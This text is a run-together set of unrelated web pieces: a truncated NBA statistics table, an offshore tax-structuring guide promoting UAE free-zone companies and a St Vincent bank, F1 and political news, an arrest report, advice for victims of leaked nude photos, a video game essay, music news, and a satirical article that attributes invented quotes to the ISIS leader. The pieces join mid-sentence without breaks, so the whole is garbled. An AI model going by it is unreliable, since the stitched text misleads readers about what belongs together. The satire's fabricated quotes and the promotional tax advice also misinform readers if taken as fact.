446 1572 2053 9567 241.5 45.1 92.8 40.4 78.8 4.7 14.0 21.7 28.9 16.1 27.6 43.7 25.4 11.0 5.4 19.2 25.0 116.7 27 1967-68 LAL* NBA 82 52 30.634 19855 3827 8031 3827 8031 2283 3143 5225 1983 2152 9937 242.1 46.7 97.9 46.7 97.9 27.8 38.3 63.7 24.2 26.2 121.2 28 1960-61 STL* NBA 79 51 28.646 3618 8795 3618 8795 2147 2921 5994 2136 2135 9383 45.8 111.3 45.8 111.3 27.2 37.0 75.9 27.0 27.0 118.8 29 1969-70 BAL* NBA 82 50 32.610 19905 3925 8567 3925 8567 2050 2652 4679 1881 1896 9900 242.7 47.9 104.5 47.9 104.5 25.0 32.3 57.1 22.9 23.1 120.7 30 1983-84 DET* NBA 82 49 33.598 19905 3798 7910 3766 7769 32 141 1974 2547 1427 2434 3861 2256 697 417 1310 2177 9602 242.7 46.3 96.5 45.9 94.7 0.4 1.7 24.1 31.1 17.4 29.7 47.1 27.5 8.5 5.1 16.0 26.5 117.1 31 1961-62 PHW* NBA 80 49 31.613 3917 8929 3917 8929 2201 3207 5939 2073 2013 10035 49.0 111.6 49.0 111.6 27.5 40.1 74.2 25.9 25.2 125.4 32 1986-87 POR* NBA 82 49 33.598 19805 3650 7249 3552 6910 98 339 2269 2928 1180 2413 3593 2359 767 387 1546 2082 9667 241.5 44.5 88.4 43.3 84.3 1.2 4.1 27.7 35.7 14.4 29.4 43.8 28.8 9.4 4.7 18.9 25.4 117.9 33 1971-72 PHO NBA 82 49 33.598 19880 3599 7877 3599 7877 2336 2999 4301 1976 2026 9534 242.4 43.9 96.1 43.9 96.1 28.5 36.6 52.5 24.1 24.7 116.3 34 1959-60 PHW* NBA 75 49 26.653 3549 8678 3549 8678 1797 2686 5916 1796 1715 8895 47.3 115.7 47.3 115.7 24.0 35.8 78.9 23.9 22.9 118.6 35 1969-70 ATL* NBA 82 48 34.585 19780 3817 7907 3817 7907 2012 2669 4210 2142 2016 9646 241.2 46.5 96.4 46.5 96.4 24.5 32.5 51.3 26.1 24.6 117.6 36 1978-79 SAS* NBA 82 48 34.585 19830 3927 7760 3927 7760 1926 2423 1096 2619 3715 2313 829 509 1652 2071 9780 241.8 47.9 94.6 47.9 94.6 23.5 29.5 13.4 31.9 45.3 28.2 10.1 6.2 20.1 25.3 119.3 37 1962-63 SYR* NBA 80 48 32.600 3690 8290 3690 8290 2350 3005 5516 1742 2277 9730 46.1 103.6 46.1 103.6 29.4 37.6 69.0 21.8 28.5 121.6 38 1984-85 DET* NBA 82 46 36.561 19830 3840 7999 3795 7800 45 199 1783 2262 1403 2534 3937 2302 691 397 1341 2076 9508 241.8 46.8 97.5 46.3 95.1 0.5 2.4 21.7 27.6 17.1 30.9 48.0 28.1 8.4 4.8 16.4 25.3 116.0 39 1960-61 PHW* NBA 79 46 33.582 3768 8883 3768 8883 2022 3108 5938 1959 1936 9558 47.7 112.4 47.7 112.4 25.6 39.3 75.2 24.8 24.5 121.0 40 2018-19 MIL NBA 60 46 14.767 14450 2596 5418 1802 3153 794 2265 1033 1341 541 2391 2932 1567 459 356 847 1190 7019 240.8 43.3 90.3 30.0 52.6 13.2 37.8 17.2 22.4 9.0 39.9 48.9 26.1 7.7 5.9 14.1 19.8 117.0 Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS 41 1981-82 DEN* NBA 82 46 36.561 19830 3980 7656 3940 7507 40 149 2371 2978 1149 2443 3592 2272 664 368 1470 2131 10371 241.8 48.5 93.4 48.0 91.5 0.5 1.8 28.9 36.3 14.0 29.8 43.8 27.7 8.1 4.5 17.9 26.0 126.5 42 1965-66 LAL* NBA 80 45 35.563 19250 3597 8109 3597 8109 2363 3057 5334 1936 2035 9557 240.6 45.0 101.4 45.0 101.4 29.5 38.2 66.7 24.2 25.4 119.5 43 1959-60 SYR* NBA 75 45 30.600 3406 8232 3406 8232 2105 2662 5406 1676 1939 8917 45.4 109.8 45.4 109.8 28.1 35.5 72.1 22.3 25.9 118.9 44 1965-66 CIN* NBA 80 45 35.563 19275 3610 8123 3610 8123 2204 2906 5559 1818 2033 9424 240.9 45.1 101.5 45.1 101.5 27.6 36.3 69.5 22.7 25.4 117.8 45 1982-83 DEN* NBA 82 45 37.549 19730 3951 7999 3927 7873 24 126 2179 2696 1214 2524 3738 2336 789 352 1496 2091 10105 240.6 48.2 97.5 47.9 96.0 0.3 1.5 26.6 32.9 14.8 30.8 45.6 28.5 9.6 4.3 18.2 25.5 123.2 46 1966-67 SFW* NBA 81 44 37.543 19590 3814 8818 3814 8818 2283 3021 5974 1876 2120 9911 241.9 47.1 108.9 47.1 108.9 28.2 37.3 73.8 23.2 26.2 122.4 47 1988-89 DEN* NBA 82 44 38.537 19880 3813 8140 3585 7464 228 676 1821 2314 1206 2513 3719 2282 811 436 1225 2088 9675 242.4 46.5 99.3 43.7 91.0 2.8 8.2 22.2 28.2 14.7 30.6 45.4 27.8 9.9 5.3 14.9 25.5 118.0 48 1970-71 BOS NBA 82 44 38.537 19780 3804 8616 3804 8616 2000 2648 4833 2052 2138 9608 241.2 46.4 105.1 46.4 105.1 24.4 32.3 58.9 25.0 26.1 117.2 49 1990-91 GSW* NBA 82 44 38.537 19805 3566 7346 3296 6545 270 801 2162 2761 1113 2306 3419 1954 803 378 1359 2207 9564 241.5 43.5 89.6 40.2 79.8 3.3 9.8 26.4 33.7 13.6 28.1 41.7 23.8 9.8 4.6 16.6 26.9 116.6 50 1967-68 SFW* NBA 82 43 39.524 19805 3632 8587 3632 8587 2334 3153 6029 1901 2265 9598 241.5 44.3 104.7 44.3 104.7 28.5 38.5 73.5 23.2 27.6 117.0 51 1988-89 GSW* NBA 82 43 39.524 19905 3730 7977 3536 7348 194 629 1904 2384 1323 2561 3884 2009 831 643 1488 1946 9558 242.7 45.5 97.3 43.1 89.6 2.4 7.7 23.2 29.1 16.1 31.2 47.4 24.5 10.1 7.8 18.1 23.7 116.6 52 1961-62 CIN* NBA 80 43 37.538 3806 8414 3806 8414 2233 2969 5665 2154 2081 9845 47.6 105.2 47.6 105.2 27.9 37.1 70.8 26.9 26.0 123.1 53 1967-68 NYK* NBA 82 43 39.524 19880 3682 8070 3682 8070 2159 3042 5122 1967 2364 9523 242.4 44.9 98.4 44.9 98.4 26.3 37.1 62.5 24.0 28.8 116.1 54 2018-19 GSW NBA 60 43 17.717 14500 2650 5405 1870 3372 780 2033 1050 1294 604 2184 2788 1773 450 398 841 1295 7130 241.7 44.2 90.1 31.2 56.2 13.0 33.9 17.5 21.6 10.1 36.4 46.5 29.6 7.5 6.6 14.0 21.6 118.8 55 1962-63 CIN* NBA 80 42 38.525 3672 7998 3672 7998 2183 2923 5561 1931 2203 9527 45.9 100.0 45.9 100.0 27.3 36.5 69.5 24.1 27.5 119.1 56 1969-70 PHI* NBA 82 42 40.512 19755 3915 8345 3915 8345 2168 2884 4463 2127 2196 9998 240.9 47.7 101.8 47.7 101.8 26.4 35.2 54.4 25.9 26.8 121.9 57 1961-62 SYR* NBA 80 41 39.513 3706 8875 3706 8875 2246 2880 5764 1791 2344 9658 46.3 110.9 46.3 110.9 28.1 36.0 72.1 22.4 29.3 120.7 58 1979-80 SAS* NBA 82 41 41.500 19755 3856 7738 3804 7532 52 206 2024 2528 1153 2515 3668 2326 771 333 1589 2103 9788 240.9 47.0 94.4 46.4 91.9 0.6 2.5 24.7 30.8 14.1 30.7 44.7 28.4 9.4 4.1 19.4 25.6 119.4 59 1967-68 DET* NBA 82 40 42.488 19780 3755 8386 3755 8386 2215 3129 5452 1700 2240 9725 241.2 45.8 102.3 45.8 102.3 27.0 38.2 66.5 20.7 27.3 118.6 60 1969-70 PHO* NBA 82 39 43.476 19805 3676 7856 3676 7856 2434 3270 4183 2076 2183 9786 241.5 44.8 95.8 44.8 95.8 29.7 39.9 51.0 25.3 26.6 119.3 Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS 61 1967-68 CIN NBA 82 39 43.476 19805 3679 7864 3679 7864 2204 2892 5129 2048 2016 9562 241.5 44.9 95.9 44.9 95.9 26.9 35.3 62.5 25.0 24.6 116.6 62 1966-67 CIN* NBA 81 39 42.481 19515 3654 8137 3654 8137 2179 2806 5198 1858 2073 9487 240.9 45.1 100.5 45.1 100.5 26.9 34.6 64.2 22.9 25.6 117.1 63 2018-19 OKC NBA 59 38 21.644 14285 2552 5538 1901 3690 651 1848 1088 1513 722 2113 2835 1380 600 311 833 1327 6843 242.1 43.3 93.9 32.2 62.5 11.0 31.3 18.4 25.6 12.2 35.8 48.1 23.4 10.2 5.3 14.1 22.5 116.0 64 1960-61 SYR* NBA 79 38 41.481 3654 8746 3654 8746 2278 2948 5726 1786 2280 9586 46.3 110.7 46.3 110.7 28.8 37.3 72.5 22.6 28.9 121.3 65 1983-84 DEN* NBA 82 38 44.463 19805 3935 7983 3858 7728 77 255 2200 2690 1133 2444 3577 2482 711 352 1344 2279 10147 241.5 48.0 97.4 47.0 94.2 0.9 3.1 26.8 32.8 13.8 29.8 43.6 30.3 8.7 4.3 16.4 27.8 123.7 66 1965-66 BAL* NBA 80 38 42.475 19250 3599 8210 3599 8210 2267 3186 5542 1890 2199 9465 240.6 45.0 102.6 45.0 102.6 28.3 39.8 69.3 23.6 27.5 118.3 67 1986-87 DEN* NBA 82 37 45.451 19780 3744 7951 3638 7560 106 391 1975 2568 1294 2368 3662 2317 754 421 1216 2184 9569 241.2 45.7 97.0 44.4 92.2 1.3 4.8 24.1 31.3 15.8 28.9 44.7 28.3 9.2 5.1 14.8 26.6 116.7 68 1989-90 GSW NBA 82 37 45.451 19705 3489 7208 3246 6458 243 750 2313 2858 915 2385 3300 1978 756 488 1415 2010 9534 240.3 42.5 87.9 39.6 78.8 3.0 9.1 28.2 34.9 11.2 29.1 40.2 24.1 9.2 6.0 17.3 24.5 116.3 69 1980-81 DEN NBA 82 37 45.451 19955 3784 7960 3754 7815 30 145 2388 3051 1325 2497 3822 2030 720 380 |
of the foreign company (must be notarized and legalized in the country of incorporation of the parent company, and legalized at the Ministry of Foreign Affairs in the UAE and translated into Arabic.
Another option is to utilize a Freezone company in one of the many special economic zones set-ups throughout the Emirates. These companies are regulated through special licenses and are only allowed to transact business with other free zones or internationally. You can receive up to two business visas (each good for 2 years and renewable). Directors of Freezone companies that hold the associated business visa can purchase property in UAE as well.
======= You don’t need to get residency, this is to illustrate the point that it is available. =======
Benefits of an FZ or an OFFSHORE entity in UAE
To be clear – the entity used in the set up shown in the infographic is either offshore or an FZ entity. The tax rate in UAE is 0% for both type of companies, and the tax rate in the Philippines can be as low as 10% with an effective rate that could be even lower.
With offshore and FZ entities in UAE, the laws are very pro-business.
For instance, they do not need to have a local shareholding.
The company should be set up in a Freezone – for example, the Ras Al Khaimah FZ. Only one shareholder and one director are needed.
Tax benefits of UAE OFFSHORE/FZ COMPANY
100% income tax exemption
100% corporate tax exemption
100% capital and profit repatriation
0% capital gains tax
0% VAT
0% Withholding tax
May not carry on business within the UAE.
Only one corporate shareholder/corporate director required – you could even have another entity, such as a BVI company, Belize Company, or Nevis LLC be the sole shareholder and director in the UAE entity.
– you could even have another entity, such as a BVI company, Belize Company, or Nevis LLC be the sole shareholder and director in the UAE entity. Does not require the shareholder/director to be physically present in the UAE for incorporation.
It may maintain bank accounts and deposits worldwide.
It is not obliged to file its books and records.
It may hold shares in other UAE and worldwide companies, such as a Filipino company, as in this case study.
FLAG 4: Banking in St Vincent
A small island in the Caribbean, St Vincent and the Grenadines could be easily overlooked as merely a playgrounds destination, a place to snorkel and catch a tan.
However, this small chain of islands will grant a Class-A banking license and is home to one of the most private and secure banks in the World: Euro-Pacific Bank, owned by Peter Schiff. You can apply for a Euro Pacific Bank account at bankaccounts.io.
This bank is not available to Americans, as the bank is not compliant with the recent FATCA laws of the US and has decided to not accept US clients.
Europac Bank and their Gold Backed Debit Card present at a great option to anyone who is looking for a secure and private banking relationship. Their products continue to impress me, and I highly recommend their services. Check them out here.
FLAG 5: Playgrounds & Health
Singapore has the best healthcare in Asia. Period.
Depending on who you ask, it’s reasonable to make the argument that Singapore has the best healthcare in the world. Generally, healthcare attributes can be boiled down to 3 categorical objectives:
Availability – are there enough doctors, hospitals and beds to meet demand Cost – what is the cost of healthcare from surgical procedures to outpatient appointments. Quality – what does the qualitative data say about say about the patient experience as well as the quantitative statistics regarding patient outcomes, HRI (hospital rate of infection), re-admission rates, as well as the facilities and technology available.
It’s not as cheap to go to a hospital in Singapore as it is in neighboring Thailand or Malaysia, but all of the doctors speak English, the robotic surgery it top notch and the cost is about 1/4 of what you’d pay in the United States.
If you have a health problem and you are living on the outskirts of society in the Philippines, it might make sense to catch a 2 hr flight to Changi airport.
FLAG 6: Data Protection and Security
Switzerland is one of the best places in the world for housing servers. I’ve written about this before in Asset Protection for web business.
You can get a hosting account anywhere, so why not own your websites and host servers in a secure, stable jurisdiction that maximizes freedom. Switzerland fits that mold.
This can further help the case being made that the mind and management (as well as tangible assets) lie outside of the Philippines or UAE or Australia – should that case ever need to be made.
It’s my hope that this case study helps illustrate the point that internationalization can dramatically impact the bottom line of a business and that corporate structure is a good basis for tax minimization. If you liked this, imagine what you’ll have access to behind the wall with your Flag Theory PT and 2nd-passport membership.
The set up described here is for illustrative purposes only and is not tax or legal advice.
Always speak with a tax lawyer in your relevant jurisdiction before establishing a legal entity.Formula 1 managing director Ross Brawn has ruled out using “artificial” performance levellers to close the gap between the teams but did highlight his growing concern about the deficit which was underlined at the Abu Dhabi Grand Prix.
Despite a closer battle between the dominance of Mercedes and a resurgent Ferrari in 2017, the German manufacturer still wrapped up the F1 World Constructors’ and Drivers’ titles with races to spare while in the 2017 season finale the pack became stretched due to the vast performance difference between the teams.
While Brawn is eager to see each team converge in terms of performance to produce closer racing he says the new management is assessing what changes can be made to quickly encourage a more competitive field.
Despite the current use of DRS to aid overtaking and systems like engine boosting, Brawn has rejected the idea of further artificial steps to help track action.
“I think we have a duty to look at ways of making the championship more balanced, without resorting to artificial or improvised means,” Brawn said in an F1 release. “That's why, for several months, working first and foremost with the FIA and the teams, we have been looking at ideas to make the sport we all love, more interesting.
“That's what the fans want, as has been seen from the research we have carried out over the past few months and let's not forget that they are the sport's most important asset.
“The Abu Dhabi race confirmed in no uncertain terms the huge gap between the top three teams (Mercedes, Ferrari and Red Bull) and the rest of the grid. After 10 laps, seventh placed Nico Hulkenberg was already 19.170 seconds off the leader, which grew to 85s by the end of the race.”
While Mercedes, Ferrari and Red Bull battled for top spot honours in 2017 the gap between those teams and the rest of the field has increased with only one podium finisher (Lance Stroll’s third place for Williams at the Azerbaijan Grand Prix) outside of the top three teams – the worst record in the V6 hybrid engine era.WASHINGTON -- In their ongoing efforts to roll back or hamstring Obamacare, Republicans probably weren't hoping that the first Senate hearing on the matter this year would feature a self-described "democratic socialist" getting GOP witnesses to back a key argument for universal health care.
Thursday's hearing of the Committee on Health, Education, Labor and Pensions was devoted to the question of moving the full-time work standard under the Affordable Care Act from 30 hours a week to 40 hours, and whether more workers would be hurt by the higher or lower limit.
But to Sen. Bernie Sanders (I-Vt.), who has long supported the creation of a universal health care system, battling over that particular point began to seem absurd, and he opened his remarks by noting that in every other developed country, such a debate would make no sense at all.
"The argument of whether you provide health insurance to people who work 30 hours a week or whether they work 40 hours a week -- whoa," Sanders said. "In every major country on Earth, health care is a right of all people."
With that as his premise, he then asked three of the hearing's witnesses -- two business owners and a school superintendent -- whether their lives and daily endeavors would be improved if government lifted from them the burden of providing health care to their workers.
The panel's only Democratic witness, Joe Fugere, founder of the Seattle-area Tutta Bella Pizzeria chain, readily answered that it would.
And despite all the GOP's cries and criticisms of "socialized medicine" when the Affordable Care Act was making its way through Congress years ago, the two Republican panelists agreed nearly as readily.
"A question like that -- sure," said Betsy Webb, who runs the Bangor School Department in Maine. "But what is the reality?"
"The reality is that maybe it should not have to be the responsibility of the Bangor school district to provide health care, that maybe it should be a right of all of our people, whether they work at McDonald's in Bangor, whether they work for the school district, to have health care," said Sanders, before taking up the question with the next witness, Andrew Puzder, the CEO of CKE Restaurants, which runs the Carl's Jr. and Hardee's chains.
"If what you're saying, Senator, is that if we had a bill that was debated, that was vetted through congressional committees, and we looked at the health care system and really tried to come up with a more rational solution, I would say you're absolutely right," Puzder said.
He allowed that he and Sanders "might not agree on the ultimate solution," but when Sanders pressed Puzder on whether he would rather not have to worry about providing health care and instead focus on his products, the CEO was emphatic.
"From your lips to God's ear," he said.
Watch Sanders' remarks above.Lashawn Johnson (Albany Police Department) Lashawn Johnson (Albany Police Department) Image 1 of / 1 Caption Close Cops: Man masturbated in stores, asked women to help 1 / 1 Back to Gallery
ALBANY -- A 25-year-old city man was arrested Sunday for asking women inside two Lark Street shops to help him masturbate, police said.
On Oct. 5, Lashawn Johnson went into the Exscape smoke shop at 302 Lark Street at 11 a.m., exposed himself, began masturbating and asked a female customer if she "could help him out," said Officer James Miller, a police spokesman.
The incident was reported after Johnson left the store, Miller said.
On Nov. 5, Johnson was arrested for allegedly doing the same thing at Lark Street Flower Market at 262 Lark St., a block from Exscape, Miller said.
Johnson, of 2 Leonard Place, went into the flower shop, exposed himself, began masturbating and asked another woman to assist him, Miller said.
Comment on the Crime Confidential blog.
Johnson was arrested Sunday night at 8:30 p.m. while standing near the flower shop several hours after the store had closed. He was charged with four counts of public lewdness, a Class B misdemeanor. Each charge carries a maximum penalty of three months in jail.
Johnson also has an unrelated case pending for allegedly stealing $2,600 worth of lottery tickets while he worked as a clerk at a gas station just off exit 23 of the Thruway in September, Miller said.
More Information
Johnson was charged with one count of grand larceny for the alleged theft. That case is still pending in Albany City Court.
See more and comment at Crime ConfidentialI’m in my very early twenties. I made some horrific decisions in my late teens to send guys naked photos of myself. Yes, completely naked. Yes, including my face. While none of them have leaked as far as I know, I’ve been extremely anxious about the possibility that they one day will. I pray every day for it not to happen. I was young, stupid, and insecure. I’m going into a field where, if I’m successful, I’ll be in the public eye, where I’ll be well-known to some degree. What should I do?
Hundreds of nude, semi-nude, and revealing pictures of female celebrities were leaked after being stolen from their private collections when some hacker breached security and accessed the photos stored over cloud platform. What if something like this happens to you?
Imagine this, One fine morning you wake up early and is shocked to see that your nude photos have surfaced online, few of your friends have sent you text messages while many others were calling you. You check links and Damn, it is you. What you do now?? In this blog post I am discussing few of things that you can do when your nude photos surfaces online.
Keep Calm and Accept It
You must immediately switch your gears to ‘damage control’ mode. The damage is done, now you should only be focusing on controlling this damage and making sure that this is controlled and is not allowed to spread further. Get ready!! Keep calm, control your emotions, do not make unnecessary phone calls, do not share links with many more people.
Evidences
Start collecting evidences; Which website has published your naked photos? make sure you have the website name, web site URL with you. DO NOT forget to take full page screen grabs, website IP address, profile of person who uploaded the photos, anyone else is in picture? Let him/her know the same (in private). Keep a record of all this.
File a complaint with Cyber Crime Department
Contact nearest cyber cell, if you do not know where on this earth is this cyber cell, contact nearest police station, they will guide you. If you have recognized the person who has uploaded photo, file a complaint against him/her. Keep a copy of this complaint and all other documents with you.
Set Google alerts
Try to understand content of page on which your image was uploaded. The same person might upload image on multiple websites with same message/title/keywords. Set Google Alert for those, example <your name> nude. This will serve you as your tracking tool.
Do a Reverse Image Search
Use uploaded picture as your search to find related images from around the web. Google will show you all similar images hosted on other websites. This will help you to understand if the same photo is posted on multiple websites. Keep track of all those websites too. Link here.
Contact Websites
Use contact us forms on website where your photo is uploaded, file a complaint with them and request for an immediate action and removal of photo. Photo shall be deleted from web server in order to get it deleted from image searches as well. Merely deleting web page will not help in this case.
If there is no response from website in 24-48 hours file a complaint with web host. Find where the website is hosted and file a complaint with them. You can use http://www.whoishostingthis.com/
Take follow-ups
Take follow ups with law enforcement authorities, your attorney, and all websites to whom you have contacted. Make sure everyone is working and is on same page.
Above steps are meant to help someone who is victim of a hack, or any act of a disturbed and sick minded person. There are many other steps which can be taken but to make a start above steps shall help to tackle this disaster of finding your nude photos online.
Readers: Your take on this, what else can be done?Some games developers dream of seeing their work transition from the original product into a different medium, such as film or television. Over the years, this has led to movies, based on games, that have ranged from terrible to serviceable. The Mortal Kombat series of films, the Tomb Raider films, and most recently the World of Warcraft movie have all attempted to take what was popular about the games and translate it to the silver screen.
The majority of these attempts are at best passable but rarely groundbreaking. They’re fun, enjoyable affairs, but these films typically reinforce the idea that game-based films rarely need to exist. On the other hand, some games are so thrilling, or present such interesting base material, that it’s disappointing when nothing else is done with the property. Such is the case with FTL: Faster Than Light, by indie developer Subset Games.
It should be noted that half of what makes FTL such an enticing property is that the base game is so scant with regard to narrative. FTL introduces a lot of interesting pieces, but leaves most of the game’s world to the imagination of the players. At its core, the game is about the post-war condition of the Galactic Federation, a former government of planets that was brought down by the Rebellion. With the Rebels’ impressive fleets being coordinated by a central Rebel Flagship, these destructive forces continued on to wipe out all remnants of the Federation’s fleets and territories.
All, that is, except for your ship. Deployed with the secrets to bringing down the Flagship and throwing the rebel fleets into disarray, you control the crew of a small vessel as it charts its way across the galaxy. Should you reach your destination, you engage in one final battle to beat back the Rebels, which can only be accomplished by destroying their command center in the form of the Flagship.
FTL continues to elicit enthusiasm years later, partly because of its gameplay but also because of its diverse world. The player is introduced to several races, all differing in some respect. Humans make up the majority of both the Rebellion and the Federation, but there are hints that many of the races were better off when the Federation was in power. The Engi, for example, were once closely allied with the Federation and wish for its return. Described as emotionless, robotic creatures composed of trillions of nanomachines, the Engi are skilled in mechanical repairs and can interact easily with technology.
Meanwhile, a thoughtful race of energy-based creatures, the Zoltan, are relatively benign but also ambivalent toward the Galactic Federation. These energy based beings can power ships simply by manning various control stations. In contrast to the relatively peaceful Engi and Zoltan are the Rockmen, Slug, and Mantis races. The incredibly durable Rockmen, with their amazing durability and resistance to fire, have had a long brewing conflict with the Mantis, large insectoid-like beings whose attacking ability is unsurpassed. The Slug people, meanwhile, come across as traders, scammers, and pirates who are primarily interested in money.
The diversity of races present in the game lends itself to an extensive amount of storytelling. Why are the introspective Zoltan so indifferent to the fate of the Federation? What began the feud between the Rockmen and Mantis? Areas you come across during your journey through these peoples’ territories also bring new questions. What is the true nature of the Great Eye, a nebula in Zoltan space where a mysterious Zoltan elder exists as the sole inhabitant of a rogue planet? How do Engi, exactly, enjoy their free time when they’re not working aboard their ships? What are the great space dwelling beasts that travel between the stars, whose carcasses litter space and where traders make homes in their bellies? Why did the Rebellion want to overthrow the Federation in the first place, and how did that war unfold?
The truth is that FTL places hints of society, culture, and mystery before the player without answering any of the questions it generates. From a gaming perspective, this is fine, since FTL’s rogue like nature isn’t conducive to lengthy explorations of the world’s lore. However, the very fact that it leaves these questions open sparks the imagination. It’s the nature of a viewer or reader to want to know the why behind a mystery, to better understand why a thing is or why certain events occurred. In our discussion of Five Nights at Freddy’s and Battlestar Galactica, we discussed how leaving open mysteries can spark discussion and fan engagement long after a game or show has concluded.
That’s the case with FTL, a game that presented a diverse number of races and a sufficiently complex world that was already lived-in. By the time the game occurs, the different races already have existing histories with one another and the galaxy as a whole has already shuddered under the drums of war. The player is dropped into the action in the same way moviegoers were dropped into the rebellion during the opening moments of Star Wars. The difference is that Star Wars aimed to explore its world, while FTL primarily existed to be a game. An amazingly good game, it should be noted, but one whose intriguing world was never fully explored. Even a novelization of this universe would have been a welcome gift for fans who found themselves intrigued by the diverse setting FTL takes place in.
If you like this article, remember to like and share it.
Jason Luthor is the author of the science fiction and dystopian horror, FLOOR 21.ISIS Sick of Muslims Giving Islam Good Name
Blue Rock Public Radio Blocked Unblock Follow Following Mar 23, 2016
Declaring that Muslims’ peace-loving ideologies in no way represented them, ISIS leaders told reporters they are sick and tired of ordinary Muslims giving Islam a good name.
“People see the vast majority the world’s 1.6 billion Muslims not causing any problems and assume that it’s a religion founded on the principles of love and respect,” said ISIS leader Abu Bakr al-Baghdadi. “That kind of love and tolerance for Muslims plays right into the hands of the West — it’s exactly what the United States wants.”
While the radical organization has made progress in recent years, associating their interpretation of Islam with horrific acts of terror such as those in Paris, San Bernardino, and most recently Brussels, the organization is growing increasingly frustrated by the sheer number of non-violent, compassionate Muslims around the world whose daily lives affirm the notion that Islam is a religion of peace.
“These Muslims pervert the teaching of our prophet Muhammad by choosing to interpret ‘Serve God and do good to parents, relatives, orphans, and those in need’ literally,” al-Baghdadi continued. “Do not let this modern, reasonable interpretation that billions of Muslims have chosen influence your attitudes towards Islam as a whole.”
Despite his frustrations, al-Baghdadi remains confident ISIS will prevail and says he was pleased to learn Donald Trump handily won the Arizona primary.Ani DiFranco has tapped Bon Iver mastermind Justin Vernon for a new song. It’s titled “Zizzing”—take a listen to it below (via Consequence of Sound). DiFranco takes lead vocals; Vernon’s signature timbre can be heard prominently in the backgrounds. Speaking to Consequence of Sound, DiFranco explained that Vernon’s contribution was delivered remotely. “Receiving Justin’s tracks over the ole interwebs was like opening a Christmas present,” she said. “Just what I always wanted!” The track is taken from DiFranco’s upcoming album Binary, which arrives June 9 via Righteous Babe Records. The new LP follows 2014’s Allergic to Water.
Bon Iver released 22, A Million in 2016. Read our feature profile “Signal to Noise: One Wild Week With Bon Iver’s Justin Vernon in Berlin.”
Watch Justin Vernon on PBS’ “Soundbreaking,” via Pitchfork.tv:Bush and Rubio. | AP Photo/Charlie Neibergall; AP Photo/Jose Luis Magana Rubio campaign boots Bush-backing tracker from Iowa event
MIAMI — The Florida family feud between Jeb Bush and Marco Rubio took a surprising turn on Thursday night when a tracker for a super PAC supporting the former governor tried to slip into an Iowa event for Rubio, whose staff quickly spotted and removed him.
The incident involving the Right to Rise super PAC stripped away another veneer of civility between the two friends-turned-campaign rivals, who have been slowly escalating their criticisms of one another.
Story Continued Below
“It was ill-spirited. Republicans shouldn’t be attacking other Republicans,” said Chris Mudd, who hosted the Cedar Falls Town Hall for Rubio at Mudd Advertising, where the tracker was seen and asked to leave about 6 p.m. local time.
For Rubio backers like Mudd, the situation exposed a contradiction in Bush's “Right to Rise” rhetoric. The former governor has repeatedly invoked that phrase since the committee was set up in January, with his blessing, saying he looked "forward to an exchange of ideas and substantive policy proposals.”
Now that Bush is a candidate, Right to Rise operates independently. And on Thursday it looked more like an attack machine than a vehicle to advance Bush’s high-minded dialogue.
“The words don’t match the actions from here,” Mudd said. “I’ve listened to him talk and he’s said a lot of good things. But I didn’t like this.”
A spokesman for Right to Rise, Paul Lindsay, acknowledged that it sent a tracker to the campaign event to gather footage. Dedicated to promoting Bush’s presidential ambitions, the political action committee wasn’t in Iowa on Thursday night to shoot video for a positive spot about Rubio. The committee is gathering a library of all the GOP candidates.
Asked why the group sent someone to Rubio’s town hall, Lindsay took a shot at Rubio for missing more votes than anyone else in the Senate.
“We had to go to Iowa to get Marco Rubio on camera because when we turn on C-SPAN 2 he's nowhere to be seen on the Senate floor,” Lindsay said.
The Thursday night incident occurred before anyone in attendance really saw what was happening. About 30 minutes before the town hall was supposed to start, a Rubio campaign staffer noticed the Right to Rise worker had no media credentials as he set up a camera and tripod.
Asked whom he worked for, the young man was honest.
“Right to Rise,” he said.
The Rubio campaign fetched the owner, Mudd, who asked the tracker to leave immediately. He complied without incident. In a state where retail politicking is almost a professional sport, the incident stood out to Mudd.
“I was just surprised that they would do that, that they would send someone to a Republican event like that,” Mudd said. “I thought it would be a Democrat.”
The Rubio campaign declined to comment but acknowledged that it spotted the tracker sent by Right to Rise. Both the campaign and Right to Rise asked that the tracker — a job usually performed by junior staffers — not be named and embarrassed.
The incident comes as the two candidates have begun to engage more directly.
For months, Bush has raised the issue of Rubio’s voting record, albeit without singling him out by name from the pack of four Republican senators running for the White House. Bush at one point said members of congress who miss votes should either quit or lose a portion of their pay for not doing their jobs.
Earlier Thursday, in New Hampshire, reporters asked Bush about Rubio’s voting record, prompting the candidate to say “I think if you had a dock in pay strategy, you’d probably get more attendance,” according to the New York Times.
Bush also tried to avoid directly criticizing Rubio by name, saying the two are “close friends and I admire him greatly.” Neighbors in the bordering cities of Coral Gables and West Miami, Bush also acknowledged it was “a little awkward” that they were both running for the White House.
Rubio, too, has talked about his friendship with Bush. But at the same time, he has subtly drawn a contrast with his one-time mentor by talking about politicians whose time has passed.
Supporters of both candidates are far less-inclined to pull punches, especially Bush’s backers. They pointed out on Thursday that Rubio, in previous interviews, had suggested that he couldn’t serve fully in Congress if he sought the presidency.
“How can I be a full time United States senator while I’m running for something else?” Rubio said on ABC’s “Nightline” three months after assuming office in 2011. Fifteen months later, on “Meet the Press,” Rubio said that viewing his Senate seat as a “springboard…[is] a recipe for self-destruction.”
In June 2013, he told Christian Broadcast Network that he wasn’t sure he could be “very effective” if he makes decisions in the Senate with an eye toward running for president.
On Tuesday, Rubio was fundraising in California and appeared on FOX’s “Hannity,” where he criticized Washington. But the senator missed a Republican-led vote to defund Planned Parenthood. On Wednesday, while still in California as he prepared to head to Iowa for campaign events, Rubio missed another vote on the issue.
Ahead of his Iowa stop, The Des Moines Register headlined a Thursday story that asked “Will Rubio's missed votes on Planned Parenthood hurt him in Iowa?”
Rubio’s campaign has ignored the criticisms of his voting record for months. And for months, Rubio has done little to correct it, according to the website Vocativ, which produced a new analysis Wednesday with the headline: “Marco Rubio's Voting Record Is Getting Even Worse: Florida's Republican presidential hopeful is still the Senate's worst absentee.”
Rubio backers expect those kinds of headlines will wind up in a Right to Rise attack ad soon.
Because it’s completely independent — and run by Bush’s longtime adviser and friend Mike Murphy — the committee is expected to handle the dirty work of the campaign. Like the other major candidates, Rubio also has a super PAC supporting him.
